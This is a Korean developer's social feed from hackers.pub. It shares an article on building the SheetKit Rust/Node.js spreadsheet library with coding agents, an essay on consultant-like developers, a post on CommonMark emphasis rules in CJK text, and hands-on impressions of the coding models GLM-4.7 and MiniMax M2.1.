Profile img

Juntai Park

@arkjun@hackers.pub · 66 following · 91 followers

中年(중년)中小企業(중소기업) 開發者(개발자), 90年代(년대) Console Gamer(콘솔 게이머). 좋은 하루를 繼續(계속)해 나아간다. 좋은 하루가 모이면 좋은 人生(인생)이 된다.

韓国人のプログラマー、40代、小学生の息子とゲームするのが幸せ😃💕龍が如く 、ゼルダの伝説、マリオ、ピクミン好き

「いい1日を続ける」
いい1日を続けていけば、いい人生になる!

threads
@rkjun
x
@rkJun
uri.life
@arkjun@uri.life
GitHub
@arkjun

Juntai Park shared the below article:

일주일만에 새로운 엑셀 라이브러리를 만들다

Haze @nebuleto@hackers.pub

저는 회사에서 주로 TypeScript로 Node.js 환경에서 개발을 하고 있습니다. 대량의 엑셀 데이터를 업로드해서 bulk 처리하는 기능이 필요했고, 그 데이터를 받기 위한 템플릿 엑셀 파일도 동적으로 생성해야 했습니다. 템플릿 안에는 데이터 유효성 검사와 조건부 서식, 드롭다운 같은 기능이 들어가야 했고요.

기존에 쓰던 Node.js 엑셀 라이브러리들은 각자 한계가 있었습니다. 하나는 커뮤니티 버전과 유료 버전이 분리되어 있어 기능 제약이 아쉬웠습니다. 다른 하나는 내부 구현과 TypeScript 타이핑 사이에 괴리가 있었고, 성능 문제로 인해 원하는 작업을 빠르게 처리하기 어려웠습니다. 저장소에는 PR이 쌓여 있었지만 더 이상 업데이트되지 않는 상태였습니다.

평소에 알고 있던 Go 생태계의 Excelize 프로젝트를 다시 들여다보았습니다. 차트, 조건부 서식, 수식, 데이터 검증처럼 OOXML 스펙의 큰 기능들을 잘 구현해둔 라이브러리였습니다. Excelize를 보면서 이 정도의 라이브러리를 TypeScript에서도 쓸 수 있으면 좋겠다는 생각이 들었습니다.

코딩 에이전트들의 역량은 계속 좋아지고 있다는 감각을 꾸준히 느꼈고, 제가 설계와 의사결정을 하되 모든 구현을 에이전트에게 위임하는 방식으로 만들어보면 어떨까하는 생각이 들었습니다. 저는 지난주 수요일(2월 4일)에 Excelize와 여러 엑셀 라이브러리들의 기능 목록과 구현 방식을 분석했고, 지난주 토요일(7일) 밤부터 실제 코드 작성에 들어갔습니다.

그렇게 SheetKit을 만들었습니다.

  • 저장소
  • 문서 (Getting Started)
  • 벤치마크 결과 (실행 환경, 실행 방법, 픽스처 포함)
    • Node.js 라이브러리간 비교
    • Rust 비교
    • 픽스처 정의

이 글은 두 파트로 구성됩니다. 지금 읽고 계신 글에서는 SheetKit 소개와 함께, 첫 릴리즈부터 오늘(2월 14일) 배포한 v0.5.0까지 1주일간의 개발 과정을 시간순으로 기록합니다. 다음 글에서는 코딩 에이전트와 어떻게 협업했는지, 어떤 작업에서 사람이 판단해야 했는지 같은 이야기를 더 구체적으로 다룰 예정입니다.


일주일간의 릴리즈 타임라인

표의 날짜는 crates.io와 npm 배포를 기준입니다. (정확한 타임스탬프보다 "무슨 일이 언제 있었는지"를 보여주기 위한 표입니다.)

버전 시점(상대) 날짜 핵심
v0.1.0 일요일(지난주) 2026-02-08 첫 배포(초기 형태)
v0.1.2 월요일 새벽(지난주) 2026-02-09 첫 공개로 부를 만한 스냅샷
v0.2.0 월요일 아침(지난주) 2026-02-09 Buffer I/O, 수식 헬퍼
v0.3.0 화요일 새벽(지난주) 2026-02-10 raw buffer FFI, 배치 API, 벤치마크 구축
v0.4.0 화요일 오후(지난주) 2026-02-10 기능 확장 + 문서 사이트
v0.5.0 토요일 아침(오늘) 2026-02-14 lazy loading / stream, COW save, 벤치마크 룰 개선

SheetKit은 어떤 라이브러리인가요?

SheetKit은 Rust로 작성된 스프레드시트(.xlsx, .xlsm 등의 OOXML 규격) 라이브러리입니다. Rust 코어 위에 napi-rs 기반 Node.js 바인딩이 올라가는 구조이고, Bun과 Deno와 같이 Node-API를 지원하는 다른 런타임에서도 그대로 쓸 수 있습니다.

이런 파일들은 OOXML(Office Open XML) 형식으로 내부적으론 ZIP 아카이브 안에 XML 파트들이 들어 있는 구조입니다. SheetKit은 이 ZIP 파일을 열어서 각 XML 파트를 Rust 구조체로 역직렬화하고, 조작한 뒤 다시 직렬화해서 저장합니다.

Rust 쪽은 세 개의 crate으로 나뉩니다.

  • sheetkit-xml: OOXML 스키마에 대응하는 저수준 XML 데이터 구조
  • sheetkit-core: 모든 비즈니스 로직
  • sheetkit: 라이브러리 사용자를 위한 facade crate

Node.js 바인딩은 packages/sheetkit에 있고, #[napi] 매크로로 Rust API를 JavaScript에 노출합니다.

바로 써보고 싶다면 Getting Started 문서가 가장 빠릅니다.


토요일 밤부터 첫 배포까지 (v0.1.x)

지난주 토요일(2월 7일) 밤에 코드 작성을 시작했고, 다음 날에 첫 배포(v0.1.0)를 찍었습니다. 그리고 9일 월요일 새벽에는 "이 정도면 우선 공개해볼 수 있겠다" 싶은 MVP(v0.1.2)를 만들었습니다.

수요일에 OOXML 스펙과 기존 라이브러리들의 기능 구현 방식을 먼저 분석하고 계획을 자세히 세워 코딩 에이전트에게 작업을 위임해서 짧은 시간 안에 형태를 잡을 수 있었습니다.

작업 방식은 단순했습니다.

  • 설계에 대한 판단과 구조에 대한 결정은 제가 합니다. 그 과정에서 필요한 분석 작업에도 Claude Code, Codex 등과 같은 코딩 에이전트의 도움을 받았습니다.
  • 구현은 코딩 에이전트에게 전적으로 위임합니다. 구현 전에 플랜을 매우 상세하게 세운 뒤, 메인 에이전트는 직접 작업을 하는 것이 아니라 Orchestrator 에이전트로서 각 기능 파트마다 서브 에이전트를 병렬로 돌리고 관리합니다.
  • 구현이 끝나면 별도의 에이전트를 통해 코드 리뷰를 거친 다음, 제가 직접 확인합니다.

다음 글에서는 이 방식이 실제로 어느 지점에서 잘 먹히고, 어느 지점에서 사람이 개입해야 했는지를 더 구체적으로 적을 예정입니다.


월요일: 성능을 생각하기 시작하다 (v0.2.0 ~ v0.3.0)

Buffer I/O (v0.2.0)

첫 릴리즈 이후 얼마 지나지 않은 월요일(9일) 아침에 v0.2.0을 올렸습니다.

핵심은 Buffer I/O였습니다. 파일 경로 없이 메모리 상의 버퍼로 .xlsx를 읽고 쓸 수 있게 하는 기능입니다. 서버 환경에서는 파일 시스템을 거치지 않고 HTTP 요청의 바이너리를 바로 처리하거나, 생성된 엑셀을 바로 응답으로 내려줘야 하는 경우가 많습니다. fill_formula 같은 수식 헬퍼도 이때 함께 넣었습니다.

Buffer I/O를 붙이고 나서부터 "실제 서비스에서 하던 일"과 비슷한 시나리오 테스트를 돌리기 시작했고, 여기서 진짜 병목을 만났습니다.

napi 경계의 오버헤드를 해결하기 위해 Raw Buffer로 전환 (v0.3.0)

초기에는 셀 단위로 자바스크립트 객체를 만들어 Rust와 자바스크립트 경계를 넘기는 형태로 시작했습니다. 50,000행 x 20열 같은 파일을 "행 단위 배열"로 한 번에 꺼내오면, 당연하지만 아주 많은 자바스크립트 객체가 만들어집니다. 이 구조는 GC 압력과 메모리 사용량을 빠르게 올립니다.

oxc 프로젝트에서 효율적으로 Rust로 빠르게 AST 데이터를 자바스크립트 영역으로 전달하는 방식에서 영감을 받아서 다음과 같이 방향을 바꿨습니다. (참고 문서)

  • 셀 단위 객체를 만들지 않습니다.
  • 전체 시트를 compact binary buffer로 직렬화합니다.
  • FFI 경계를 "한 번만" 넘깁니다.

또한 이 방식에는 시트 내 셀이 얼마나 있는지에 따라 dense / sparse 레이아웃을 자동으로 선택하는 방식도 같이 들어갔습니다. Buffer를 그대로 주고받기 때문에 TypeScript로도 한번 더 버퍼 규격에 맞는 파서를 작성하였습니다.

v0.3.0에서 첫 번째 버전의 버퍼 포맷을 구현했고, 이후 v0.5.0에서 지연 로딩과 인라인 string을 지원하는 새로운 포맷으로 개선했습니다.

또한 Rust의 XML을 처리하는 레이어에서도 함께 수정한 것들이 있습니다. "힙 할당을 줄이고, 자주 접근하는 경로를 단순하게 만든다"가 기준이었습니다.

변경 이유
셀 레퍼런스("A1")를 String 대신 고정 길이 인라인 배열로 저장 셀 레퍼런스는 최댓값이 정해져 있어서 힙을 쓰지 않아도 됩니다
타입 문자열을 1바이트 태그로 정규화 XML 속성 문자열을 그대로 들고 다니지 않게 합니다
행 내 셀 검색을 선형 탐색에서 이진 탐색으로 전환 접근 비용을 줄입니다
지표 변경 전 변경 후
100k행 기준 메모리 (RSS) 361MB 13.5MB
Node.js 읽기 오버헤드 (Rust 네이티브 대비) ~4%
GC 압력 100만+ 객체 생성 단일 Buffer 전송

벤치마크를 만들고 숫자를 고정하기

이 시점에 벤치마크 스위트를 만들었습니다. Node.js와 Rust 생태계의 기존 라이브러리들과 성능 지표를 비교하는 벤치마크입니다. 벤치마크 프로그램을 실행하면 결과를 마크다운 문서로 자동으로 출력해주며 여기에는 실행 환경, 반복 횟수 등을 같이 정리해두었습니다.

  • Node.js와 Rust에서의 비교(중앙값, 1 warmup + 5 runs): Apple M4 Pro, 24GB RAM / Node v25.3.0 / Rust 1.93.0
  • 테스트를 위한 스프레드시트 파일의 픽스처는 결정론적으로 생성되고 행 수에는 헤더 행이 포함됩니다
  • RSS/heapUsed는 피크(peak) 값이 아니라 작업 전후의 잔류(residual) 델타 값입니다

50,000행 x 20열 스프레드시트 파일을 기준으로 Node.js 바인딩에서 기본 읽기(getRows())는 541ms, 쓰기는 469ms가 소요되었습니다. 같은 워크로드에서 자바스크립트로 작성된 다른 라이브러리는 읽기에 1.24 ~ 1.56초, 쓰기에 1.09 ~ 2.62초가 소요되었습니다. 그리고 개선을 거치면서 heapUsed 증가분이 0MB로 찍히는 형태를 만들 수 있어서 자바스크립트 객체를 쌓지 않는다는 목표가 결과로 확인할 수 있었습니다.

결국 중요한 건 성능을 측정하고, 수치를 비교하고, 이상한 점이 보이면 원인을 끝까지 추적하는 과정이라고 생각합니다. 벤치마크를 돌렸을 때 Rust 생태계의 한 라이브러리(edit-xlsx)가 읽기에서 이상하게 빠른 결과를 보여주었는데, 이 시점에서는 원인을 알 수 없었습니다. 나중에 v0.5.0 작업 중 정확한 원인을 파악하게 되는데, 이 이야기는 해당 섹션에서 다루겠습니다.


화요일: 빠르게 기능 격차를 줄이다 (v0.4.0)

화요일(2월 10일)에는 v0.4.0을 올렸습니다. 이 릴리즈는 성능보다 부족한 기능을 채우는 것을 목표했습니다.

다른 엑셀 라이브러리들에는 있지만 SheetKit에 없는 기능이 무엇인지 비교하고 OOXML 스펙과 기대 동작을 다시 정리했습니다. 도형, 슬라이서, 양식 컨트롤, 메모, VBA 추출, CLI 같은 기능을 이때 한꺼번에 붙였습니다. 수식 함수도 추가로 늘렸습니다.

메모리 최적화도 계속되었습니다. 셀 구조체와 SST(Shared Strings Table)의 메모리 레이아웃을 개선해서, Node.js에서 동기 API로 읽었을 때 기준 RSS(Resident Set Size)가 349MB에서 195MB로 44% 감소했습니다. 비동기 읽기에서는 RSS가 17MB까지 내려갔습니다.

이 시점에서 문서도 웹 페이지로 관리하고 싶다는 생각이 들어서 VitePress를 활용해서 만들게 되었습니다.


그리고 오늘까지: 구조를 다시 생각하다 (v0.5.0)

이 글을 쓰는 2월 14일 오늘 저녁에 v0.5.0을 릴리즈했습니다.

이전까지는 라이브러리 API에 큰 breaking changes 없이 기능을 추가하고 최적화를 해왔다면, v0.5.0에선 Node.js API 구조를 재설계하고 Rust에서의 코어도 같이 바꾸는 작업이었습니다.

비동기, 그리고 지연 로딩을 기본으로

기존 open()을 통해 시트를 열면 호출 시점에 스프레드시트 파일 내 XML 파트를 한 번에 파싱했습니다. 그만큼 큰 파일을 열면 접근하지 않는 시트의 데이터까지 메모리에 한번에 올라갑니다. 그래서 v0.5.0에서는 읽기 모드를 세 가지로 나누게 되었습니다.

  • lazy(ReadMode::Lazy, 기본값): ZIP 인덱스/메타데이터만 읽고, 시트는 처음 접근할 때 파싱합니다
  • eager(ReadMode::Eager): 모든 시트를 즉시 파싱합니다
  • stream(ReadMode::Lazy): 제한된 메모리 안에서 순방향으로만 읽습니다

스트리밍 리더

대용량 파일에서 전체를 메모리에 올리지 않고 행 단위로 순차 처리할 수 있는 forward-only 리더입니다.

const wb = await Workbook.open("huge.xlsx", { readMode: "stream" });
const reader = await wb.openSheetReader("Sheet1", { batchSize: 1000 });

for await (const batch of reader) {
  for (const row of batch) {
    // 한 번에 한 배치만 메모리에 존재합니다
  }
}

copy-on-write 저장

지연 로딩 모드로 열린 워크북을 저장할 때, 변경되지 않은 시트는 원본 ZIP 엔트리에서 직접 전달합니다. 파싱과 직렬화 왕복을 거치지 않기 때문에, 큰 워크북에서 일부 시트 / 일부 셀만 수정하는 워크로드에서 저장 시간이 줄어듭니다.

제가 실제로 겪는 템플릿 생성 시나리오("대부분은 그대로 두고 일부 셀만 채워서 내려주기")가 딱 이 케이스였고, 이게 v0.5.0에서 개선한 방향이었습니다.

edit-xlsx 라이브러리의 읽기 이상치와 벤치마크 비교 규칙

v0.3.0 이후로 벤치마크를 만들고 관리하면서 실행해보면 이상치가 나옵니다. Rust 비교 벤치마크에서 edit-xlsx가 읽기에서 비정상적으로 짧은 시간을 찍는 경우가 있었고, 자세히 들여다보니 rows/cells 카운트가 0으로 떨어지는 케이스가 섞여 있었습니다.

그래서 “비교 가능성 규칙(comparability rules)”을 도입했습니다.

  • rows / cells 카운트가 기대치와 맞는지 확인
  • 동일 좌표의 값 검증(value probe)이 맞는지 확인
  • 하나라도 어긋나면 결과를 비교할 수 없다고 표시

벤치마크는 숫자를 뽑는 도구이기도 하지만, 이상치를 잡아내는 도구이기도 합니다. 이 규칙을 넣고 나서부터는 “빠른데 뭔가 이상한 결과”를 자동으로 걸러낼 수 있게 됐습니다.

이 이후에 왜 이런 결과가 나왔을까 궁금해서 edit-xlsx 라이브러리를 분석하게 되었습니다. SpreadsheetML 규격에서 workbook.xmlfileVersion, workbookPr, bookViews는 선택 요소입니다. 하지만 이 라이브러리에서는 파싱 과정에서 이 요소들을 필수로 요구하고 있었습니다. 라이브러리에서 파싱과 역직렬화에 실패하면 기본 구조체로 대체되는데, 이 과정에서 rows와 cells의 수가 0이 나오고 매우 짧은 실행 시간을 기록하게 됩니다. 즉, 데이터를 실제로 읽지 않았기 때문에 빠른 것이었습니다.

그래서 SheetKit에서도 호환을 위해 파일을 저장할 때 workbook.xml에서 fileVersion, workbookPr 값이 아예 없을 경우에는 해당 값들에 대해 Microsoft Excel를 참고해 유사한 기본 값을 넣어주게 되었습니다.


바인딩을 거쳤는데 오히려 더 빠르다고?

Rust 라이브러리와 Node 바인딩을 같이 돌려보면 흥미로운 결과가 나오는 케이스가 있습니다. 일부 쓰기 시나리오에서 Node.js 바인딩이 Rust 네이티브보다 오히려 빠르다는 점입니다.

시나리오 Rust Node.js 오버헤드
50k행 x 20열 쓰기 544ms 469ms -14% (Node.js가 빠름)
20k행 텍스트 쓰기 108ms 86ms -20% (Node.js가 빠름)

왜 이런 결과가 나올 수 있었을까요? 내부적으로 SST 데이터를 구성하는 과정에서 V8의 문자열 인터닝과 메모리 관리가 효율적으로 작동한 결과입니다. napi 경계를 넘는 오버헤드보다 V8 엔진 자체의 최적화가 더 큰 이득을 준 셈입니다. Rust 위에 바인딩을 올리는 작업을 하면서, JavaScript 엔진의 최적화가 얼마나 정교한지 다시 한 번 느끼게 되었습니다.


SheetKit, 열심히 개밥먹기 중

저는 회사에서 SheetKit을 개밥먹기(dogfooding)하고 있습니다. 기존 라이브러리를 걷어내고 교체한 뒤에도, 템플릿 생성과 업로드 처리 플로우에서 필요한 기능들을 무리 없이 소화하고 있습니다.

SheetKit 프로젝트는 글을 쓰고 있는 2월 14일 오늘 기준, 다음과 같이 지원합니다.

  • Node.js와 Rust에서 스트리밍 읽기 / 쓰기
  • 164개의 다양한 수식 함수 지원
  • 43개의 다양한 차트 타입 지원
  • 다양한 이미지 포맷을 지원

Node.js - Rust간 오버헤드는 읽기 항목에서 ~ 4% 정도이며, 쓰기 시나리오에서는 케이스에 따라 오히려 Node.js가 빠른 결과를 가져온 케이스도 있었습니다. 자세한 내용은 문서 사이트에서 확인하실 수 있습니다.

SheetKit은 아직 개선할 점들이 있고 API도 변경될 수 있습니다. 하지만 실제로 적용해서 쓰면서 고치고, 성능을 측정하고 분석해서 고치는 방식은 계속 유지할 생각입니다. 궁금한 점이 있으면 편하게 물어봐주시고, 이슈와 PR 모두 환영합니다.


다음 글에서는...

이번 글에서는 일주일동안 어떻게 무엇을 만들었는지를 자세히 적어보았습니다. 다음 글에서는 Claude Code와 Codex 등 코딩 에이전트와 협업한 방식(작업의 워크플로우, 제약사항, 서브 에이전트 구조, 사람의 리뷰 전 별도 에이전트로 리뷰 후 피드백 루프를 만든 점, 사람이 어떻게 개입했는지)과 그 과정에서 느낀 점, 배운 점들을 더 구체적으로 적어보려고 합니다.

Read more →
7
0
0
1

지난 주말부터 열심히 토큰을 팍팍 태워 만든 TypeScript/Rust용 엑셀 라이브러리 SheetKit, 방금 0.4.0를 배포했습니다.

문서 퀄리티가 아직 좋다고는 말을 못해도 API 레퍼런스와 문서 웹도 생겼고, 단순한 값 읽기/쓰기를 넘어 복잡한 기능들도 많이 추가되었습니다. 이제 폭발적인 구현보다는 적당한 스피드로 문서의 완성도를 높이고 WebAssembly나 Bun/Deno/Python 등에 대한 바인딩 등을 고민해볼 계획입니다. 문서의 완성도도 좀 어느 정도 올라간다면 이리저리 SheetKit을 소개하는 정식 글도 한번 여기저기에 올려보려고 합니다.

이미 Node.js쪽 binding은 열심히 개밥먹기하고 있는 중인데, Rust나 Node.js 환경에서 엑셀 파일을 다룰 일이 있는 분들은 한번 써보시고 이슈나 피드백을 남겨주시면 너무 좋을 것 같습니다.

Node.js에서 SheetKit은 다른 라이브러리에 비해 거의 모든 벤치마크 테스트에서 성능 우위를 보였습니다. 웹 문서에는 SheetKit이 어떻게 메모리를 덜 사용하고 Node.js 바인딩에서 영역 전환 시의 오버헤드를 줄였는지도 정리되어 있습니다.

https://github.com/Nebu1eto/sheetkit

3

日本(일본)의 TypeScript 컨퍼런스인 TSKaigi 2026이 5() 22()(())–23()(())에 東京(도쿄)에서 開催(개최)된다고 합니다. 함께 가실 韓國(한국) 분 계실까요?

一旦(일단) 저랑 @2chanhaeng초무 님하고 @kodingwarriorJaeyeol Lee (a.k.a. kodingwarrior) :vim: 님이 같이 가실 것 같습니다.

5
7
5
2
4
1
2
8
6

Juntai Park shared the below article:

코드를 한 줄도 안 짰는데, 최고의 개발자로 평가받았다

고남현 @gnh1201@hackers.pub

코드를 한 줄도 안 짰는데, 최고의 개발자로 평가받았다

최근(정확하게는 작년 7월쯤) 한 사람이 실리콘밸리 회사를 포함해 많게는 60여 개의 회사에 동시에 취업해 일했다는 이야기가 화제가 되었다. 놀라운 점은 그가 여러 회사를 속였다는 사실이 아니라, 오히려 각 회사에서 “일을 정말 잘한다”는 평가를 받았다는 점이었다. 더 어처구니없는 사실은, 그가 실제로는 코드를 거의, 혹은 전혀 작성하지 않았다는 것이다.

그의 직함은 분명 프로그래머였다. 채용 공고 역시 프로그램을 작성할 사람을 찾고 있었다. 그러나 실무에 투입된 뒤 그가 한 일은 코드 작성이 아니라 방향 제시, 구조 정리, 기술 선택에 대한 조언, 그리고 갈등 중재였다. 말하자면 그는 개발자가 아니라 컨설턴트처럼 일했다. 그런데 결과적으로 팀의 생산성은 올라갔고, 프로젝트는 이전보다 더 잘 굴러갔다.

이 기묘한 상황은 개인의 기지나 편법 때문이 아니라, 현대 소프트웨어 조직이 안고 있는 구조적인 모순을 드러낸다.

회사는 정말로 ‘코드를 짜는 사람’을 원했을까

많은 회사가 개발자를 채용할 때 “무엇을 만들 사람인가”보다 “어떤 직무명을 가진 사람인가”를 먼저 적는다. 백엔드 개발자, 시니어 엔지니어, 풀스택 개발자 같은 익숙한 단어들이 채용 공고를 채운다. 그러나 실제로 현장에 들어가 보면 문제는 코드에 있지 않은 경우가 훨씬 많다.

무엇을 만들어야 할지 내부 합의가 없고, 기술 선택에 대한 책임을 누구도 지고 싶어 하지 않으며, 기존 시스템은 누더기처럼 얽혀 있다. 개발자들은 각자 옳은 말을 하지만, 결정은 나지 않는다. 이때 회사에 진짜로 필요한 사람은 코드를 잘 짜는 사람이 아니라, 결정을 내려주고 방향을 정해주는 사람이다.

그 사례의 주인공은 바로 이 공백을 정확히 채웠다. 그는 코드를 쓰지 않았지만, 쓸 필요 없는 코드를 줄였고, 잘못된 선택을 미리 막았으며, 팀이 앞으로 나아갈 수 있도록 정리해 주었다. 회사 입장에서는 그 어떤 개발자보다 “일을 잘하는 사람”처럼 보일 수밖에 없었다.

가장 가치 있는 코드는 ‘안 써도 된 코드’다

소프트웨어 개발에서 가장 큰 손실은 느린 타이핑이 아니라 잘못된 방향이다. 필요 없는 기능을 만드는 데 들어간 시간, 나중에 갈아엎어야 할 구조를 유지하느라 소모되는 에너지, 아무도 책임지지 않는 설계 결정들이 프로젝트를 망친다.

컨설턴트형 인력은 바로 이 지점을 건드린다. “이 기능은 지금 만들 필요가 없다”, “이 문제는 기술 문제가 아니라 조직 문제다”, “이 구조로 가면 반드시 다시 고치게 된다”는 말을 할 수 있는 사람은 코드 생산량으로는 측정되지 않지만, 결과에는 결정적인 영향을 미친다.

그 사람이 동시에 여러 회사에서 일할 수 있었던 이유도 여기에 있다. 각 회사는 하루 여덟 시간을 모두 가져간 것이 아니라, 결정이 막히는 순간에 필요한 ‘판단력’을 빌린 것이었다.

채용 공고는 문제를 말하지 못한다

만약 회사가 솔직하게 채용 공고를 쓸 수 있다면 이렇게 적혀야 할지도 모른다.

“우리는 무엇을 해야 할지 잘 모르겠습니다. 내부에 의견 충돌이 많고, 누군가 정리해 주길 원합니다.”

하지만 현실에서는 그럴 수 없으니, 프로그래머라는 이름으로 사람을 찾는다. 그 결과 코드 작성자를 뽑았다고 생각했지만, 사실은 컨설턴트가 더 잘 맞는 자리에 개발자를 앉혀두는 일이 반복된다.

이번 사례는 그 불일치가 극단적으로 드러난 사건일 뿐이다.

불편하지만 피할 수 없는 결론

이 이야기가 많은 개발자에게 불편하게 느껴지는 이유는 분명하다. 우리는 오랫동안 “코딩을 잘하면 인정받는다”고 믿어왔기 때문이다. 그러나 현실의 많은 조직에서 가장 희소한 자원은 코딩 능력이 아니라 문제 정의 능력, 판단력, 그리고 책임지고 결정하는 용기다.

이 사건은 사기극이라기보다, 회사들이 스스로 무엇이 필요한지 정확히 알지 못했다는 증거에 가깝다. 그리고 그 틈을 정확히 읽어낸 사람이, 코드를 한 줄도 쓰지 않고도 최고의 개발자로 평가받았다.

어처구니없어 보이지만, 이것이 지금의 소프트웨어 산업이 서 있는 위치다.

Read more →
8

LLM에서 마크다운이 널리 쓰이게 되면서 안 보고 싶어도 볼 수 밖에 없게 된 흔한 꼬라지로 그림에서 보는 것처럼 마크다운 강조 표시(**)가 그대로 노출되어 버리는 광경이 있다. 이 문제는 CommonMark의 고질적인 문제로, 한 10년 전쯤에 보고한 적도 있는데 지금까지 어떤 해결책도 제시되지 않은 채로 방치되어 있다.

문제의 상세는 이러하다. CommonMark는 마크다운을 표준화하는 과정에서 파싱의 복잡도를 제한하기 위해 연속된 구분자(delimiter run)라는 개념을 넣었는데, 연속된 구분자는 어느 방향에 있느냐에 따라서 왼편(left-flanking)과 오른편(right-flanking)이라는 속성을 가질 수 있다(왼편이자 오른편일 수도 있고, 둘 다 아닐 수도 있다). 이 규칙에 따르면 **는 왼편의 연속된 구분자로부터 시작해서 오른편의 연속된 구분자로 끝나야만 한다. 여기서 중요한 건 왼편인지 오른편인지를 판단하는 데 외부 맥락이 전혀 안 들어가고 주변의 몇 글자만 보고 바로 결정된다는 것인데, 이를테면 왼편의 연속된 구분자는 **<보통 글자> 꼴이거나 <공백>**<기호> 또는 <기호>**<기호> 꼴이어야 한다. ("보통 글자"란 공백이나 기호가 아닌 글자를 가리킨다.) 첫번째 꼴은 아무래도 **마크다운**은 같이 낱말 안에 끼어 들어가 있는 연속된 구분자를 허용하기 위한 것이고, 두번째/세번째 꼴은 이 **"마크다운"** 형식은 같이 기호 앞에 붙어 있는 연속된 구분자를 제한적으로 허용하기 위한 것이라 해석할 수 있겠다. 오른편도 방향만 다르고 똑같은 규칙을 가지는데, 이 규칙으로 **마크다운(Markdown)**은을 해석해 보면 뒷쪽 **의 앞에는 기호가 들어 있으므로 뒤에는 공백이나 기호가 나와야 하지만 보통 글자가 나왔으므로 오른편이 아니라고 해석되어 강조의 끝으로 처리되지 않는 것이다.

CommonMark 명세에서도 설명되어 있지만, 이 규칙의 원 의도는 **이런 **식으로** 중첩되어** 강조된 문법을 허용하기 위한 것이다. 강조를 한답시고 **이런 ** 식으로 공백을 강조 문법 안쪽에 끼워 넣는 일이 일반적으로는 없으므로, 이런 상황에서 공백에 인접한 강조 문법은 항상 특정 방향에만 올 수 있다고 선언하는 것으로 모호함을 해소하는 것이다. 허나 CJK 환경에서는 공백이 아예 없거나 공백이 있어도 한국어처럼 낱말 안에서 기호를 쓰는 경우가 드물지 않기 때문에, 이런 식으로 어느 연속된 구분자가 왼편인지 오른편인지 추론하는 데 한계가 있다는 것이다. 단순히 <보통 문자>**<기호>도 왼편으로 해석하는 식으로 해서 **마크다운(Markdown)**은 같은 걸 허용한다 하더라도, このような**[状況](...)**は 이런 상황은 어쩔 것인가? 내가 느끼기에는 중첩되어 강조된 문법의 효용은 제한적인 반면 이로 인해 생기는 CJK 환경에서의 불편함은 명확하다. 그리고 LLM은 CommonMark의 설계 의도 따위는 고려하지 않고 실제 사람들이 사용할 법한 식으로 마크다운을 쓰기 때문에, 사람들이 막연하게 가지고만 있던 이런 불편함이 그대로 표면화되어 버린 것이고 말이다.

* 21. Ba5# - 백이 룩과 퀸을 희생한 후, 퀸 대신 **비숍(Ba5)**이 결정적인 체크메이트를 성공시킵니다. 흑 킹이 탈출할 곳이 없으며, 백의 기물로 막을 수도 없습니다. [강조 처리된 "비숍(Ba5)" 앞뒤에 마크다운의 강조 표시 "**"가 그대로 노출되어 있다.]
14
1
0
3
0

GLM-4.7의 성능이 그렇게나 좋다고 들어서 요금제를 보니 상당히 파격적인 가격이라 조금 시도해 봤다. 우선 LogTape에 있던 이슈 하나를 수행하게 했고, 혹시 몰라서 Claude Code에서 Claude 4.5 Opus로 PLAN.md 계획 파일을 꽤 꼼꼼하게 만들게 한 뒤, 그걸 참고하게 했다. 그럼에도 불구하고:

  • 모든 export되는 API에 대해서는 JSDoc 주석을 써야 한다는 당연한 절차를 수행하지 않음 (코드베이스의 다른 코드는 다 그렇게 되어 있는데도 눈치가 없음)
  • JSDoc 주석을 쓰랬더니 Python docstring 스타일로 정의부 “안쪽”에 주석을 씀…
  • Deno.env 같은 특정 런타임에 의존적인 API를 씀 (코드베이스의 다른 코드는 그런 API 안 쓰고 있음)
  • 아주 기본적인 JavaScript 구문 오류를 냄 (예를 들면 세미콜론 빼먹는 식의) → 이것 때문에 상당히 토큰 소모를 많이 함
  • 한국어가 살짝 귀여움 (“나옵니다”가 아니라 “나옴니다”라고 쓰는 식)
  • 결국에는 JavaScript 구문 오류를 못 고쳐서 테스트 스위트도 아예 못 돌리는데 전체 작업이 완료되었다고 스스로 결론 내림

소문난 잔치에 먹을 게 없다더니, 역시나 벤치마크만 보고 모델을 골라서는 안 되겠다는 교훈만 재확인 한 것 같다.

8

GLM-4.7의 성능이 그렇게나 좋다고 들어서 요금제를 보니 상당히 파격적인 가격이라 조금 시도해 봤다. 우선 LogTape에 있던 이슈 하나를 수행하게 했고, 혹시 몰라서 Claude Code에서 Claude 4.5 Opus로 PLAN.md 계획 파일을 꽤 꼼꼼하게 만들게 한 뒤, 그걸 참고하게 했다. 그럼에도 불구하고:

  • 모든 export되는 API에 대해서는 JSDoc 주석을 써야 한다는 당연한 절차를 수행하지 않음 (코드베이스의 다른 코드는 다 그렇게 되어 있는데도 눈치가 없음)
  • JSDoc 주석을 쓰랬더니 Python docstring 스타일로 정의부 “안쪽”에 주석을 씀…
  • Deno.env 같은 특정 런타임에 의존적인 API를 씀 (코드베이스의 다른 코드는 그런 API 안 쓰고 있음)
  • 아주 기본적인 JavaScript 구문 오류를 냄 (예를 들면 세미콜론 빼먹는 식의) → 이것 때문에 상당히 토큰 소모를 많이 함
  • 한국어가 살짝 귀여움 (“나옵니다”가 아니라 “나옴니다”라고 쓰는 식)
  • 결국에는 JavaScript 구문 오류를 못 고쳐서 테스트 스위트도 아예 못 돌리는데 전체 작업이 완료되었다고 스스로 결론 내림

소문난 잔치에 먹을 게 없다더니, 역시나 벤치마크만 보고 모델을 골라서는 안 되겠다는 교훈만 재확인 한 것 같다.

오늘은 OpenCode에서 공짜로 제공하길래 MiniMax M2.1로 코딩을 좀 해봤다. 몇 시간 정도 해본 느낌으로는 GLM-4.7보다는 훨씬 나았고, 체감상으로는 대충 Claude Sonnet 4와 비슷한 정도로 말귀를 잘 알아듣는 느낌이었다. 컨텍스트 윈도가 긴 것도 장점이었다. 다만, 컨텍스트가 좀 길어지니까 끝도 없이 삽질을 반복하게 되어서, 그 쯤에서 모델을 GPT-5.1 Codex Max로 바꿔서 진행했다. GPT-5.1 Codex Max로 삽질 구간 벗어난 뒤에 금방 다시 MiniMax M2.1로 돌아와서 계속 코딩을 했고, 전반적으로 싼 값을 감안하면 굉장히 좋다고 느꼈다.

요즘에는 평소에 Claude Opus 4.5를 주력으로 사용하니까, 아무래도 비교가 될 수밖에 없었는데:

  • 역시나 눈치라고 해야 하나, 센스는 떨어진다. Claude Sonnet 4.5보다도 떨어지는 듯. 이를테면 Markdown 문서를 수정하도록 지시하면 기존의 일관성 있게 잘 짜여 있던 문서 서식이 금방 무너지는 게 느껴진다.
